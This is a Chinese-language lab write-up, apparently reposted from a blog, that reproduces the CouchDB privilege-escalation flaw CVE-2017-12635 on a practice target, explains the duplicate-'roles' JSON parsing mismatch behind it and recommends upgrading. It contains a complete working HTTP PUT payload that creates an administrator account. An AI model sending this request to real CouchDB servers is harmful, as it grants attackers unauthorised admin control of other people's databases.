标签:roles Vulfocus admin CouchDB 漏洞 12635 2017 CVE
漏洞介绍
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
影响版本
小于 1.7.0 以及 小于 2.1.1
解题过程
1.打开题目环境,该漏洞利用Couchdb 远程命令执行 (CVE-2017-12636)的靶场环境进行复现
2.burp抓包
3.改包发包,成功创建新用户
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 118.193.36.37:477745
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 100
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub111"
}
4.访问ip/_utils
点击_users查看用户,可以看到我们创建的用户
漏洞原理
漏洞原理参考了这篇文章
主要关注改包的过程,所发送的post数据为
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub111"
}
其中有两个roles参数,JavaScript在解析式会把
“roles”: ["_admin"],
“roles”:[],
解析成为
“roles”:[]
那就意味着JavaScript在检测时,检测我们创建的用户 角色=0 。无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测。
接下来在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是"roles": ["_admin"], 所以创建出了具有admin权限的账户。
修复建议
升级到CouchDB 1.7.1或 2.1.1。
标签:roles,Vulfocus,admin,CouchDB,漏洞,12635,2017,CVE 来源: https://blog.csdn.net/qq_45813980/article/details/118654097
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。